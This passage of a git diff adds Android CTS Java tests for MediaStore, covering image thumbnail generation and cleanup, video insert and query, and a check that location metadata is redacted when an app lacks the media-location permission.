+ Thumbnails.MICRO_KIND, null);
+ assertEquals(previousMicroKindCount, c.getCount());
+ c.close();
+
+ // query without kind
+ c = Thumbnails.query(mContentResolver, uri, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(Thumbnails.MINI_KIND, c.getInt(c.getColumnIndex(Thumbnails.KIND)));
+ assertEquals(path, c.getString(c.getColumnIndex(Thumbnails.DATA)));
+ c.close();
+ }
+
+ @Test
+ public void testQueryExternalMiniThumbnails() throws Exception {
+ if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+ final ContentResolver resolver = mContentResolver;
+
+ // insert the image by bitmap
+ BitmapFactory.Options opts = new BitmapFactory.Options();
+ opts.inTargetDensity = DisplayMetrics.DENSITY_XHIGH;
+ Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery,opts);
+ String stringUrl = null;
+ try{
+ stringUrl = Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(), null);
+ } catch (UnsupportedOperationException e) {
+ // the tests will be aborted because the image will be put in sdcard
+ fail("There is no sdcard attached! " + e.getMessage());
+ }
+ assertNotNull(stringUrl);
+ Uri stringUri = Uri.parse(stringUrl);
+ mRowsAdded.add(stringUri);
+
+ // get the original image id and path
+ Cursor c = mContentResolver.query(stringUri,
+ new String[]{ Media._ID, Media.DATA }, null, null, null);
+ c.moveToFirst();
+ long imageId = c.getLong(c.getColumnIndex(Media._ID));
+ String imagePath = c.getString(c.getColumnIndex(Media.DATA));
+ c.close();
+
+ ProviderTestUtils.waitForIdle();
+ assertExists("image file does not exist", imagePath);
+ assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
+ assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
+
+ // deleting the image from the database also deletes the image file, and the
+ // corresponding entry in the thumbnail table, which in turn triggers deletion
+ // of the thumbnail file on disk
+ mContentResolver.delete(stringUri, null, null);
+ mRowsAdded.remove(stringUri);
+
+ ProviderTestUtils.waitForIdle();
+ assertNotExists("image file should no longer exist", imagePath);
+ assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
+ assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
+
+ // insert image, then delete it via the files table
+ stringUrl = Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(), null);
+ c = mContentResolver.query(Uri.parse(stringUrl),
+ new String[]{ Media._ID, Media.DATA}, null, null, null);
+ c.moveToFirst();
+ imageId = c.getLong(c.getColumnIndex(Media._ID));
+ imagePath = c.getString(c.getColumnIndex(Media.DATA));
+ c.close();
+ assertExists("image file does not exist", imagePath);
+ Uri fileuri = MediaStore.Files.getContentUri("external", imageId);
+ mContentResolver.delete(fileuri, null, null);
+ assertNotExists("image file should no longer exist", imagePath);
+ }
+
+ @Test
+ public void testGetContentUri() {
+ Cursor c = null;
+ assertNotNull(c = mContentResolver.query(Thumbnails.getContentUri("internal"), null, null,
+ null, null));
+ c.close();
+ assertNotNull(c = mContentResolver.query(Thumbnails.getContentUri(mVolumeName), null, null,
+ null, null));
+ c.close();
+ }
+
+ @Test
+ public void testStoreImagesMediaExternal() throws Exception {
+ if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+ prepareImages();
+
+ final String externalImgPath = Environment.getExternalStorageDirectory() +
+ "/testimage.jpg";
+ final String externalImgPath2 = Environment.getExternalStorageDirectory() +
+ "/testimage1.jpg";
+ ContentValues values = new ContentValues();
+ values.put(Thumbnails.KIND, Thumbnails.FULL_SCREEN_KIND);
+ values.put(Thumbnails.IMAGE_ID, ContentUris.parseId(mRed));
+ values.put(Thumbnails.HEIGHT, 480);
+ values.put(Thumbnails.WIDTH, 320);
+ values.put(Thumbnails.DATA, externalImgPath);
+
+ // insert
+ Uri uri = mContentResolver.insert(Thumbnails.EXTERNAL_CONTENT_URI, values);
+ assertNotNull(uri);
+
+ // query
+ Cursor c = mContentResolver.query(uri, null, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ long id = c.getLong(c.getColumnIndex(Thumbnails._ID));
+ assertTrue(id > 0);
+ assertEquals(Thumbnails.FULL_SCREEN_KIND, c.getInt(c.getColumnIndex(Thumbnails.KIND)));
+ assertEquals(ContentUris.parseId(mRed), c.getLong(c.getColumnIndex(Thumbnails.IMAGE_ID)));
+ assertEquals(480, c.getInt(c.getColumnIndex(Thumbnails.HEIGHT)));
+ assertEquals(320, c.getInt(c.getColumnIndex(Thumbnails.WIDTH)));
+ assertEquals(externalImgPath, c.getString(c.getColumnIndex(Thumbnails.DATA)));
+ c.close();
+
+ // update
+ values.clear();
+ values.put(Thumbnails.KIND, Thumbnails.MICRO_KIND);
+ values.put(Thumbnails.IMAGE_ID, ContentUris.parseId(mBlue));
+ values.put(Thumbnails.HEIGHT, 50);
+ values.put(Thumbnails.WIDTH, 50);
+ values.put(Thumbnails.DATA, externalImgPath2);
+ assertEquals(1, mContentResolver.update(uri, values, null, null));
+
+ // delete
+ assertEquals(1, mContentResolver.delete(uri, null, null));
+ }
+
+ @Test
+ public void testThumbnailGenerationAndCleanup() throws Exception {
+ if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+ final ContentResolver resolver = mContentResolver;
+
+ // insert an image
+ Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
+ Uri uri = Uri.parse(Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(),
+ "test description"));
+ long imageId = ContentUris.parseId(uri);
+
+ ProviderTestUtils.waitForIdle();
+ assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
+ assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
+
+ // delete the source image and check that the thumbnail is gone too
+ mContentResolver.delete(uri, null /* where clause */, null /* where args */);
+
+ ProviderTestUtils.waitForIdle();
+ assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
+ assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
+
+ // insert again
+ uri = Uri.parse(Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(),
+ "test description"));
+ imageId = ContentUris.parseId(uri);
+
+ // query its thumbnail again
+ ProviderTestUtils.waitForIdle();
+ assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
+ assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
+
+ // update the media type
+ ContentValues values = new ContentValues();
+ values.put("media_type", 0);
+ assertEquals("unexpected number of updated rows",
+ 1, mContentResolver.update(uri, values, null /* where */, null /* where args */));
+
+ // image was marked as regular file in the database, which should have deleted its thumbnail
+ ProviderTestUtils.waitForIdle();
+ assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
+ assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
+
+ // check source no longer exists as image
+ Cursor c = mContentResolver.query(uri,
+ null /* projection */, null /* where */, null /* where args */, null /* sort */);
+ assertFalse("source entry should be gone", c.moveToNext());
+ c.close();
+
+ // check source still exists as file
+ Uri fileUri = ContentUris.withAppendedId(
+ MediaStore.Files.getContentUri("external"),
+ Long.valueOf(uri.getLastPathSegment()));
+ c = mContentResolver.query(fileUri,
+ null /* projection */, null /* where */, null /* where args */, null /* sort */);
+ assertTrue("source entry is gone", c.moveToNext());
+ String sourcePath = c.getString(c.getColumnIndex("_data"));
+ c.close();
+
+ // clean up
+ mContentResolver.delete(fileUri, null /* where */, null /* where args */);
+ new File(sourcePath).delete();
+ }
+
+ @Test
+ public void testThumbnailOrderedQuery() throws Exception {
+ if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+
+ Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
+ Uri url[] = new Uri[3];
+ try{
+ for (int i = 0; i < url.length; i++) {
+ url[i] = Uri.parse(
+ Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(), null));
+ mRowsAdded.add(url[i]);
+ long origId = Long.parseLong(url[i].getLastPathSegment());
+ ProviderTestUtils.waitForIdle();
+ Bitmap foo = MediaStore.Images.Thumbnails.getThumbnail(mContentResolver,
+ origId, Thumbnails.MICRO_KIND, null);
+ assertNotNull(foo);
+ }
+
+ // Remove one of the images, which will also delete any thumbnails
+ // If the image was deleted, we don't want to delete it again
+ if (mContentResolver.delete(url[1], null, null) > 0) {
+ mRowsAdded.remove(url[1]);
+ }
+
+ long removedId = Long.parseLong(url[1].getLastPathSegment());
+ long remainingId1 = Long.parseLong(url[0].getLastPathSegment());
+ long remainingId2 = Long.parseLong(url[2].getLastPathSegment());
+
+ // check if a thumbnail is still being returned for the image that was removed
+ ProviderTestUtils.waitForIdle();
+ Bitmap foo = MediaStore.Images.Thumbnails.getThumbnail(mContentResolver,
+ removedId, Thumbnails.MICRO_KIND, null);
+ assertNull(foo);
+
+ for (String order: new String[] { " ASC", " DESC" }) {
+ Cursor c = mContentResolver.query(
+ MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null, null,
+ MediaColumns._ID + order);
+ while (c.moveToNext()) {
+ long id = c.getLong(c.getColumnIndex(MediaColumns._ID));
+ ProviderTestUtils.waitForIdle();
+ foo = MediaStore.Images.Thumbnails.getThumbnail(
+ mContentResolver, id,
+ MediaStore.Images.Thumbnails.MICRO_KIND, null);
+ if (id == removedId) {
+ assertNull("unexpected bitmap with" + order + " ordering", foo);
+ } else if (id == remainingId1 || id == remainingId2) {
+ assertNotNull("missing bitmap with" + order + " ordering", foo);
+ }
+ }
+ c.close();
+ }
+ } catch (UnsupportedOperationException e) {
+ // the tests will be aborted because the image will be put in sdcard
+ fail("There is no sdcard attached! " + e.getMessage());
+ }
+ }
+
+ @Test
+ public void testInsertUpdateDelete() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+ final PendingParams params = new PendingParams(
+ mExternalImages, displayName, "image/png");
+ final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+ final Uri finalUri;
+ try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+ try (OutputStream out = session.openOutputStream()) {
+ writeImage(mLargestDimension, mLargestDimension, Color.RED, out);
+ }
+ finalUri = session.publish();
+ }
+
+ // Directly reading should be larger
+ final Bitmap full = ImageDecoder
+ .decodeBitmap(ImageDecoder.createSource(mContentResolver, finalUri));
+ assertEquals(mLargestDimension, full.getWidth());
+ assertEquals(mLargestDimension, full.getHeight());
+
+ {
+ // Thumbnail should be smaller
+ ProviderTestUtils.waitForIdle();
+ final Bitmap thumb = mContentResolver.loadThumbnail(finalUri, new Size(32, 32), null);
+ assertTrue(thumb.getWidth() < full.getWidth());
+ assertTrue(thumb.getHeight() < full.getHeight());
+
+ // Thumbnail should match contents
+ assertColorMostlyEquals(Color.RED, thumb.getPixel(16, 16));
+ }
+
+ // Verify legacy APIs still work
+ if (MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) {
+ for (int kind : new int[] {
+ MediaStore.Images.Thumbnails.MINI_KIND,
+ MediaStore.Images.Thumbnails.FULL_SCREEN_KIND,
+ MediaStore.Images.Thumbnails.MICRO_KIND
+ }) {
+ // Thumbnail should be smaller
+ ProviderTestUtils.waitForIdle();
+ final Bitmap thumb = MediaStore.Images.Thumbnails.getThumbnail(mContentResolver,
+ ContentUris.parseId(finalUri), kind, null);
+ assertTrue(thumb.getWidth() < full.getWidth());
+ assertTrue(thumb.getHeight() < full.getHeight());
+
+ // Thumbnail should match contents
+ assertColorMostlyEquals(Color.RED, thumb.getPixel(16, 16));
+ }
+ }
+
+ // Edit image contents
+ try (OutputStream out = mContentResolver.openOutputStream(finalUri)) {
+ writeImage(mLargestDimension, mLargestDimension, Color.BLUE, out);
+ }
+
+ // Wait a few moments for events to settle
+ ProviderTestUtils.waitForIdle();
+
+ {
+ // Thumbnail should match updated contents
+ ProviderTestUtils.waitForIdle();
+ final Bitmap thumb = mContentResolver.loadThumbnail(finalUri, new Size(32, 32), null);
+ assertColorMostlyEquals(Color.BLUE, thumb.getPixel(16, 16));
+ }
+
+ // Delete image contents
+ mContentResolver.delete(finalUri, null, null);
+
+ // Thumbnail should no longer exist
+ try {
+ ProviderTestUtils.waitForIdle();
+ mContentResolver.loadThumbnail(finalUri, new Size(32, 32), null);
+ fail("Funky; we somehow made a thumbnail out of nothing?");
+ } catch (FileNotFoundException expected) {
+ }
+ }
+
+ private static void writeImage(int width, int height, int color, OutputStream out) {
+ final Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+ final Canvas canvas = new Canvas(bitmap);
+ canvas.drawColor(color);
+ bitmap.compress(Bitmap.CompressFormat.PNG, 90, out);
+ }
+
+ /**
+ * Since thumbnails might be bounced through a compression pass, we're okay
+ * if they're mostly equal.
+ */
+ private static void assertColorMostlyEquals(int expected, int actual) {
+ assertEquals(Integer.toHexString(expected & 0xF0F0F0F0),
+ Integer.toHexString(actual & 0xF0F0F0F0));
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java
new file mode 100644
index 0000000..202c3ea
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Video;
+import android.provider.MediaStore.Video.VideoColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+
+@RunWith(Parameterized.class)
+public class MediaStore_VideoTest {
+ private Context mContext;
+ private ContentResolver mResolver;
+
+ private Uri mExternalVideo;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
+ }
+
+ @Test
+ public void testQuery() throws Exception {
+ ContentValues values = new ContentValues();
+
+ final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
+ "testVideo" + System.nanoTime() + ".3gp");
+ final String valueOfData = file.getAbsolutePath();
+ ProviderTestUtils.stageFile(R.raw.testvideo, file);
+
+ values.put(VideoColumns.DATA, valueOfData);
+
+ Uri newUri = mResolver.insert(mExternalVideo, values);
+ assertNotNull(newUri);
+
+ Cursor c = Video.query(mResolver, newUri, new String[] { VideoColumns.DATA });
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(valueOfData, c.getString(c.getColumnIndex(VideoColumns.DATA)));
+ c.close();
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
new file mode 100644
index 0000000..68873b4
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -0,0 +1,427 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.ProviderTestUtils.assertExists;
+import static android.provider.cts.ProviderTestUtils.assertNotExists;
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.AppOpsManager;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.media.MediaMetadataRetriever;
+import android.net.Uri;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.storage.StorageManager;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Video.Media;
+import android.provider.MediaStore.Video.VideoColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreUtils.PendingParams;
+import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Arrays;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Video_MediaTest {
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ private Uri mExternalVideo;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
+ }
+
+ @Test
+ public void testGetContentUri() {
+ Cursor c = null;
+ assertNotNull(c = mContentResolver.query(Media.getContentUri("internal"), null, null, null,
+ null));
+ c.close();
+ assertNotNull(c = mContentResolver.query(Media.getContentUri(mVolumeName), null, null, null,
+ null));
+ c.close();
+
+ assertEquals(ContentUris.withAppendedId(Media.getContentUri(mVolumeName), 42),
+ Media.getContentUri(mVolumeName, 42));
+ }
+
+ private void cleanExternalMediaFile(String path) {
+ mContentResolver.delete(mExternalVideo, "_data=?", new String[] { path });
+ new File(path).delete();
+ }
+
+ @Test
+ public void testStoreVideoMediaExternal() throws Exception {
+ final File dir = ProviderTestUtils.stageDir(mVolumeName);
+ final File videoFile = ProviderTestUtils.stageFile(R.raw.testvideo,
+ new File(dir, "cts" + System.nanoTime() + ".mp4"));
+
+ final String externalVideoPath = videoFile.getAbsolutePath();
+ final long numBytes = videoFile.length();
+
+ ProviderTestUtils.waitUntilExists(videoFile);
+
+ ContentValues values = new ContentValues();
+ values.put(Media.ALBUM, "cts");
+ values.put(Media.ARTIST, "cts team");
+ values.put(Media.CATEGORY, "test");
+ long dateTaken = System.currentTimeMillis();
+ values.put(Media.DATE_TAKEN, dateTaken);
+ values.put(Media.DESCRIPTION, "This is a video");
+ values.put(Media.DURATION, 8480);
+ values.put(Media.LANGUAGE, "en");
+ values.put(Media.IS_PRIVATE, 1);
+ values.put(Media.MINI_THUMB_MAGIC, 0);
+ values.put(Media.RESOLUTION, "176x144");
+ values.put(Media.TAGS, "cts, test");
+ values.put(Media.DATA, externalVideoPath);
+ values.put(Media.DISPLAY_NAME, "testvideo.3gp");
+ values.put(Media.MIME_TYPE, "video/3gpp");
+ values.put(Media.SIZE, numBytes);
+ values.put(Media.TITLE, "testvideo");
+ long dateAdded = System.currentTimeMillis() / 1000;
+ values.put(Media.DATE_ADDED, dateAdded);
+ long dateModified = videoFile.lastModified() / 1000;
+ values.put(Media.DATE_MODIFIED, dateModified);
+
+ // insert
+ Uri uri = mContentResolver.insert(mExternalVideo, values);
+ assertNotNull(uri);
+
+ try {
+ // query
+ Cursor c = mContentResolver.query(uri, null, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ long id = c.getLong(c.getColumnIndex(Media._ID));
+ assertTrue(id > 0);
+ assertEquals("cts", c.getString(c.getColumnIndex(Media.ALBUM)));
+ assertEquals("cts team", c.getString(c.getColumnIndex(Media.ARTIST)));
+ assertEquals("test", c.getString(c.getColumnIndex(Media.CATEGORY)));
+ assertEquals(dateTaken, c.getLong(c.getColumnIndex(Media.DATE_TAKEN)));
+ assertEquals(8480, c.getInt(c.getColumnIndex(Media.DURATION)));
+ assertEquals("This is a video",
+ c.getString(c.getColumnIndex(Media.DESCRIPTION)));
+ assertEquals("en", c.getString(c.getColumnIndex(Media.LANGUAGE)));
+ assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
+ assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
+ assertEquals("176x144", c.getString(c.getColumnIndex(Media.RESOLUTION)));
+ assertEquals("cts, test", c.getString(c.getColumnIndex(Media.TAGS)));
+ assertEquals(externalVideoPath, c.getString(c.getColumnIndex(Media.DATA)));
+ assertEquals(videoFile.getName(), c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
+ assertEquals("video/3gpp", c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+ assertEquals("testvideo", c.getString(c.getColumnIndex(Media.TITLE)));
+ assertEquals(numBytes, c.getInt(c.getColumnIndex(Media.SIZE)));
+ long realDateAdded = c.getLong(c.getColumnIndex(Media.DATE_ADDED));
+ assertTrue(realDateAdded >= dateAdded);
+ assertEquals(dateModified, c.getLong(c.getColumnIndex(Media.DATE_MODIFIED)));
+ assertTrue(c.isNull(c.getColumnIndex(Media.COLOR_STANDARD)));
+ assertTrue(c.isNull(c.getColumnIndex(Media.COLOR_TRANSFER)));
+ assertTrue(c.isNull(c.getColumnIndex(Media.COLOR_RANGE)));
+ c.close();
+ } finally {
+ // delete
+ assertEquals(1, mContentResolver.delete(uri, null, null));
+ new File(externalVideoPath).delete();
+ }
+
+ // check that the video file is removed when deleting the database entry
+ Context context = mContext;
+ Uri videoUri = insertVideo(context);
+ File videofile = new File(ProviderTestUtils.stageDir(mVolumeName), "testVideo.3gp");
+ assertExists(videofile);
+ mContentResolver.delete(videoUri, null, null);
+ assertNotExists(videofile);
+ }
+
+ private Uri insertVideo(Context context) throws IOException {
+ final File dir = ProviderTestUtils.stageDir(mVolumeName);
+ final File file = new File(dir, "testVideo.3gp");
+ // clean up any potential left over entries from a previous aborted run
+ cleanExternalMediaFile(file.getAbsolutePath());
+
+ ProviderTestUtils.stageFile(R.raw.testvideo, file);
+
+ ContentValues values = new ContentValues();
+ values.put(VideoColumns.DATA, file.getAbsolutePath());
+ return context.getContentResolver().insert(mExternalVideo, values);
+ }
+
+ /**
+ * This test doesn't hold
+ * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif and XMP
+ * location information should be redacted.
+ */
+ @Test
+ public void testLocationRedaction() throws Exception {
+ // STOPSHIP: remove this once isolated storage is always enabled
+ Assume.assumeTrue(StorageManager.hasIsolatedStorage());
+
+ final String displayName = "cts" + System.nanoTime();
+ final PendingParams params = new PendingParams(
+ mExternalVideo, displayName, "video/mp4");
+
+ final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+ final Uri publishUri;
+ try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo_meta);
+ OutputStream out = session.openOutputStream()) {
+ FileUtils.copy(in, out);
+ }
+ publishUri = session.publish();
+ }
+
+ final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
+
+ // Since we own the video, we should be able to see the location
+ // we ourselves contributed
+ try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
+ MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+ mmr.setDataSource(pfd.getFileDescriptor());
+ assertEquals("+37.4217-122.0834/",
+ mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+ assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+ }
+ try (InputStream in = mContentResolver.openInputStream(publishUri);
+ ByteArrayOutputStream out = new ByteArrayOutputStream()) {
+ FileUtils.copy(in, out);
+ byte[] bytes = out.toByteArray();
+ byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197);
+ String xmp = new String(xmpBytes);
+ assertTrue("Failed to read XMP longitude", xmp.contains("10,41.751000E"));
+ assertTrue("Failed to read XMP latitude", xmp.contains("53,50.070500N"));
+ assertTrue("Failed to read non-location XMP", xmp.contains("13166/7763"));
+ }
+ // As owner, we should be able to request the original bytes
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+ }
+
+ // Remove ACCESS_MEDIA_LOCATION permission
+ try {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES",
+ "android.permission.REVOKE_RUNTIME_PERMISSIONS");
+
+ // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+ // Deny access_media_permission App op to revoke this permission.
+ PackageManager packageManager = mContext.getPackageManager();
+ String packageName = mContext.getPackageName();
+ if (packageManager.checkPermission(android.Manifest.permission.ACCESS_MEDIA_LOCATION,
+ packageName) == PackageManager.PERMISSION_GRANTED) {
+ mContext.getPackageManager().updatePermissionFlags(
+ android.Manifest.permission.ACCESS_MEDIA_LOCATION, packageName,
+ PackageManager.FLAG_PERMISSION_REVOKED_COMPAT,
+ PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, mContext.getUser());
+ mContext.getSystemService(AppOpsManager.class).setUidMode(
+ "android:access_media_location", Process.myUid(),
+ AppOpsManager.MODE_IGNORED);
+ }
+ } finally {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().
+ dropShellPermissionIdentity();
+ }
+
+ // Now remove ownership, which means that location should be redacted
+ ProviderTestUtils.executeShellCommand("content update"
+ + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+ + " --uri " + publishUri + " --bind owner_package_name:n:",
+ InstrumentationRegistry.getInstrumentation().getUiAutomation());
+ try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
+ MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+ mmr.setDataSource(pfd.getFileDescriptor());
+ assertEquals(null,
+ mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+ assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+ }
+ try (InputStream in = mContentResolver.openInputStream(publishUri);
+ ByteArrayOutputStream out = new ByteArrayOutputStream()) {
+ FileUtils.copy(in, out);
+ byte[] bytes = out.toByteArray();
+ byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197);
+ String xmp = new String(xmpBytes);
+ assertFalse("Failed to redact XMP longitude", xmp.contains("10,41.751000E"));
+ assertFalse("Failed to redact XMP latitude", xmp.contains("53,50.070500N"));
+ assertTrue("Redacted non-location XMP", xmp.contains("13166/7763"));
+ }
+ // We can't request original bytes unless we have permission
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+ fail("Able to read original content without ACCESS_MEDIA_LOCATION");
+ } catch (UnsupportedOperationException expected) {
+ }
+ }
+
+ @Test
+ public void testLocationDeprecated() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+ final PendingParams params = new PendingParams(
+ mExternalVideo, displayName, "video/mp4");
+
+ final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+ final Uri publishUri;
+ try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo_meta);
+ OutputStream out = session.openOutputStream()) {
+ FileUtils.copy(in, out);
+ }
+ publishUri = session.publish();
+ }
+
+ // Verify that location wasn't indexed
+ try (Cursor c = mContentResolver.query(publishUri,
+ new String[] { VideoColumns.LATITUDE, VideoColumns.LONGITUDE }, null, null)) {
+ assertTrue(c.moveToFirst());
+ assertTrue(c.isNull(0));
+ assertTrue(c.isNull(1));
+ }
+
+ // Verify that location values aren't recorded
+ final ContentValues values = new ContentValues();
+ values.put(VideoColumns.LATITUDE, 32f);
+ values.put(VideoColumns.LONGITUDE, 64f);
+ mContentResolver.update(publishUri, values, null, null);
+
+ try (Cursor c = mContentResolver.query(publishUri,
